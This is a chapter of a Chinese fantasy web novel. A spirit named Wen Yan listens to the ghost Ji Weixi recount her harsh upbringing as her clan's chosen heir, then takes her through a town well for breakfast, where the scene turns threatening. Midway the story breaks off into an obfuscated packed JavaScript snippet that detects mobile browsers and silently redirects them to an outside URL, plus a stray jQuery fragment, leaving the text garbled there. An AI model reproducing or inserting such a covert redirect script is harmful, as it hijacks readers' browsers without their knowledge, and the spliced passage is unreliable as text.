因是流水席,人人都来吃得,就没有人注意到席上什么时候来了位跛脚的神棍。 席吃到一半,纪老爷又命人来添了许多酒水,酒过三巡,大约是喝高兴了,那神棍直夸主家大方,决定亲自为纪家卜上一卦。 这些靠算卦讨饭吃的人向来最会看人脸色,此情此景,无非是说些飞黄腾达,仕途亨通这样的吉利话,大喜的日子,主家高兴,宾客尽心,皆大欢喜。 纪老爷也不例外,他并没有拒绝,笑呵呵地请神棍上座。 这一算不要紧,要紧的是这神棍接下来说的话。 他说:“纪家积善之家,气运冲顶,要出一颗紫薇星,可惜这命数最后落在一个女郎身上,是注定要阴盛阳衰的。” 原本没人当回事,全当这神棍喝了二两黄汤嘴便松了,说些捻酸吃醋的浑话。 毕竟谁家祖宗不保佑自家男孙更上一层楼,反而托生在一个女娃身上去为别人做嫁衣。 何况,他家明明有两个男孙。 于是纪老爷呵呵笑,说:“若真是祖宗积德,纪某人替纪家谢过先生。” 可自此之后,纪家就好像陷入了一种诅咒。 六兄弟娶妻纳妾一顿忙活,倒是一年好几个地生,可惜却是连生了四五个女娃,愣是没生出一个带把的。 不仅如此,纪家大爷和仅有的两个男孙,在去江南赴任途中被山匪杀害,独独留下了五岁的长女,藏在马车凳下逃过一劫。 这下子纪家老爷不急也急了。 纪家人想起那神棍的话,心里也犯嘀咕,虽说依旧一个接一个地生孩子,可也不敢忽视了这个唯一活下来的女娃。 那神棍没有明说谁是那颗紫薇星,可用脚趾头想也知道,能在全家遇难的情况下活下来的,这命格,这气运,何必多言。 于是从不知道哪一天开始,纪家开始三条腿走路。 老爷们还是继续生孩子,生出男孩儿才罢休。 远房过继的男丁也是男丁,孩子多了热闹,于是过继了一堆嗣子囤着。 最稀奇的还是第三条腿,纪老爷居然真的开始培养这颗“紫薇星”,一切比照未来家主的要求。 纪未晞讲到这里俏皮一笑,露出总角小童般的顽皮,眨眼问闻砚:“大人,你可知道,这位紫薇星小姐是如何长大成人的吗?” “我至今记得纪家祖宅的大门上那枚黄铜辅首是怎样冰冷,和纪家一样的冰冷。” 那一年,我父母兄长皆死于匪祸,只有我运气好逃过生死劫难,更幸运的是,乳娘因腹痛出恭,侥幸逃过一劫,她没有一个人卷了财物逃走,而是抱着我一路逃回清水镇。那晚的雨真大呀,雨水顺着乳娘的脸颊卷进我的衣领里,又湿又冷。 朱红色的大门像吞人的野兽,张大嘴等着我羊入虎口。 彼时的我并不知道接下来会发生的一切,我任由乳娘抱着跪在祖父书房院落的青石板地上。 门缝里飘出的烟丝缠住我的发梢。 “抱进来。” 祖父的声音一下子苍老了十几岁,那个精神矍铄,永远笑呵呵的老人第一次露出那样憎恨又怜爱的神情。 我趴在乳娘怀里吓坏了,听见这话,不仅没有终于见到亲人的安稳,反而打从心底里升起一种陌生的恐惧。 乳娘唠叨了一路的“见到老爷要哭,要招老爷心疼”最终也没有派上用场。 因为我悄悄从乳娘的肩头悬在半空的视野里,瞥见满堂叔伯骤然间绷直的脊背。 “囡囡以后跟着我读书,该教她的我都会教给她,如果最终纪家命该如此,这就是我们唯一的希望。” 紫檀案上的《贞观政要》那么刺目,我知道,从今以后,它就是我的了。 我数着书页间斑驳的茶渍,听见自己脆生生的童音在书房的梁柱间回响:“天地玄黄,宇宙洪荒......” “父亲!”三叔突然拍案而起,“您老糊涂了!女子岂能诵《千字文》?” 斗彩茶盏在青砖上四分五裂,瓷片擦过我额角划出一条长长的血线。 可是没有人在意。 祖父的烟杆重重敲在书桌上,震得那些陈年旧书连同着我的陈年旧梦一起簌簌落灰:“从今日起,囡囡每日卯时来外书房,谁再有意见就滚出纪家。” 那是我第一次尝到血的滋味,铁锈味混杂着书房里佛手柑的香气,像命运精心装扮过的陷阱。 然而我的日子过的并不安稳。 有一群嗣子们在一旁虎视眈眈。 毕竟男孩子们能科举,能做官,而我是个女郎,我的出路只能在这庭院之中。如果我不能服众,我知道终有一天,我会在这场家族斗争中沦为牺牲品。 这是一场盛大的养蛊仪式。 而我,如果不能成为蛊王,就只能成为蛊王的食物。 闻砚知道人间自有一套自己的规则。 生育,既是天道给予人类短暂生命的延续,让他们得以在有限的时间能够最迅速地满足自己的欲望。 同时也是枷锁,有限的生命里疲于奔命只为了延续血脉,如此便能循环往复,周而复始,甘之如饴。 他们永远受限于时间的束缚,所以掠夺生育资源便成为了终其一生的目标,而天然拥有生育资源的女性自然成为了他们争抢资源的载体。 匹夫无罪,怀璧其罪。 这么看来,天道,的确是个很无情的混蛋。 不过这会儿闻砚并不方便吐槽。 她怀着一种自己都说不明白的,极其悲悯怜爱的心情,温柔地抚了抚纪未晞的头顶。 “抱歉啊,一直以来,你辛苦了。” 闻砚的指尖在触及纪未晞发顶时泛起月华般的光晕,垂落足尖的乌黑发丝无风自动,像浸在星河里的水藻。 纪未晞突然感觉到额角早已痊愈的伤口突然泛起比春雪更清透的凉意。 “一直以来,你辛苦了。” 闻砚望着纪未晞又喃喃地重复了一遍,声音里掺着古寺檐角铜铃般空远悠扬的颤音。 忽然,那些缠绕着纪未晞耳边的那些嗣子们的窃窃私语戛然而止,取而代之的是女人沉沉如水的嗓音,如佛语轻喃。 “生育是天道最精妙的骗局。”闻砚抚过她眉间因常年蹙眉形成的细纹,“赐予蜜糖作饵,暗藏砒霜为刃。凡人啊,总爱把枷锁雕成王冠,还嫌硌得不够疼么?” 闻砚决定她不问纪未晞是怎么死的了。 一个十六岁就死在荒郊野岭的未来家主,还能是怎么死的? 用脚指甲盖想想也能知道吧。 纪未晞的故事接近尾声,阿金的针线活也做的差不多了,她仔细地将线头掖进闻砚的头发里,警告闻砚:“别再受伤了,我知道你现在不会死,但还是疼的吧?” 倒是会疼。 就像上次被杨浅的枪扎成刺猬时一样,她脑袋掉了大概也和被砍头的死刑犯感觉差不多。 是疼的,只不过她习惯了,从没觉得有什么不妥。 反正又不会死。 但是闻砚心里清楚,这话她敢想不敢说,说出口必定会被阿金打死。 她再次开展话题大挪移,同阿金挤眉弄眼。 每一个汗毛都好像在问,看,我不问灵也能找到路,我厉害吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363393|168128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而下一秒,不问灵的代价就报应到了闻砚自己身上。 看见脑袋顶上密密麻麻用符咒法术织成的井盖,闻砚惊讶得嘴里能塞进三个鸡蛋。 “你家院子里的井封了?” 走水路没走通的闻砚感觉自己完全是在自讨苦吃。 “额呵呵……” 纪未晞很尴尬:“我死后,估计是有人请了术士来安魂。” 闻砚:放屁!! 你看看这像是安魂的阵法吗? 层层加码像裹粽子似的生怕漏了一点缝儿,这是让魂魄永世不得超生的阵法才是吧!! 可话到嘴边,看见纪未晞扑闪扑闪的眼睛,闻砚又什么都说不出来了。 这姑娘死的时候年纪不大,死后又心心念念回家,这样伤鬼心的话,人美心善的闻砚大人实在说不出口。 “要不我们从旁镇子里的水井爬出去?还能去镇上吃个早点再去你家。” 闻砚大人绞尽脑汁觉得自己提了一个精妙绝伦的提议。 既可以避免她拆了这破阵动静太大引来纪家人,到时候小白花知道真相再哭唧唧,又可以好好享受人间风景,品尝一下美食,不虚此行。 小白花没有意见。 小白花只有疑问。 “鬼也可以吃凡人食物吗?” “能啊,怎么不能?”闻砚大人很得意,挑眉炫耀道:“我给你捏个纸身,只要略施小计,你保持一两个时辰的人形不成问题。” 自从长离把陵光神君的生魂养在她身体里,她的法力居然借着这机会恢复了一二。 相比于当初给云岫做的那个,她的技术精进了不少。 正确一个试验品。 她还没给谁施展过这个法术呢。 纪未晞:“大人好厉害!!” 卖早点的老头觉得自己白日见鬼了。 “那姑娘,长得怎么那么像纪家的家主?” 他提着两只布满皱纹的手死命地揉搓双眼,企图把自己脑袋里那点脏东西全部弄出去。 闻砚笑而不语,看来自己的手艺的确很好,捏得纸人都能骗过活人了。 她笑嘻嘻地撑着伞落座,高声道:“店家,请给我和这位姑娘一人一碗馄饨,”说到这里,她好像想到点什么,看向纪未晞,问她:“你吃不吃胡荽?” 纪未晞大概也没想到这个法术了得的女鬼大人还有这样平易近人的一面。 像个姐姐一样。 她心中一软,糯糯开口,“我不吃的。” 闻砚了然,想到终于遇到个和自己吃得到一起去的鬼,心里很高兴,开开心心地再次高喊:“店家,两碗都不要放胡荽。” 她挤眉弄眼做出个“臭臭”的姿势,小声吐槽:“为什么有人爱吃胡荽?” 这样活泼灵动,和家中姊妹一样。 “两位的馄饨来咯——” 老叟端着木托盘摆上两晚热气腾腾的馄饨。 突然,他浑浊目光被纪未晞发间的银簪吸引,情不自禁道,“这并蒂海棠的样式……” 纪未晞拿调羹的手一顿。 闻砚若有所思,指尖轻叩桌沿,玩笑道:“老汉,您再多看两眼,怕是家里的婆姨要发飙啦。” 老叟闻言猛地回神,布满老年斑的脸皱成包子,拍着脑袋道:“您瞧我这记性,老咯来咯,纪家那位最厌鲜花首饰,怎会大清早来我这小摊子。” 纪未晞刚要说话,喉咙突然像被三寸金莲绣鞋底死死碾住。 她惊慌地摸向嘴唇,指尖触到某种冰凉粘稠的胶体,她的心瞬间凉掉半截。 她知道,自己的纸身被浆糊把嘴封住了。 闻砚绣着鸳鸯戏水的金丝软底的鞋尖正压着那抹月白裙裾。 “当心,这软丝裙可和澄心纸一样易碎。” 闻砚不慌不忙,用瓷勺敲了敲碗沿,每一下都敲在纪未晞心尖。 这是无声的威胁。 然后她看见闻砚优雅地舀起一颗馄饨吹了吹,笑意盈盈地吞下去,仿佛被这烟火气十足的食物满足。 然而那热气氤氲中弯月似的眼睛结满冰霜。 纪未晞害怕极了,只能眼睁睁地看着自己方才还气色红润如常人的指甲盖开始褪色,如同被细小的红蚂蚁蚕食。 “纪小姐,我想,我大约弄错了一件事。” 闻砚还在笑,笑意却不达眼底,凌厉眼刀仿佛下一秒就能将人撕成碎片。 不能说话的纪小姐泪流满面,心道:我知道您有话问,但您先别问,您身后那个白衣道士,像是来收我们的。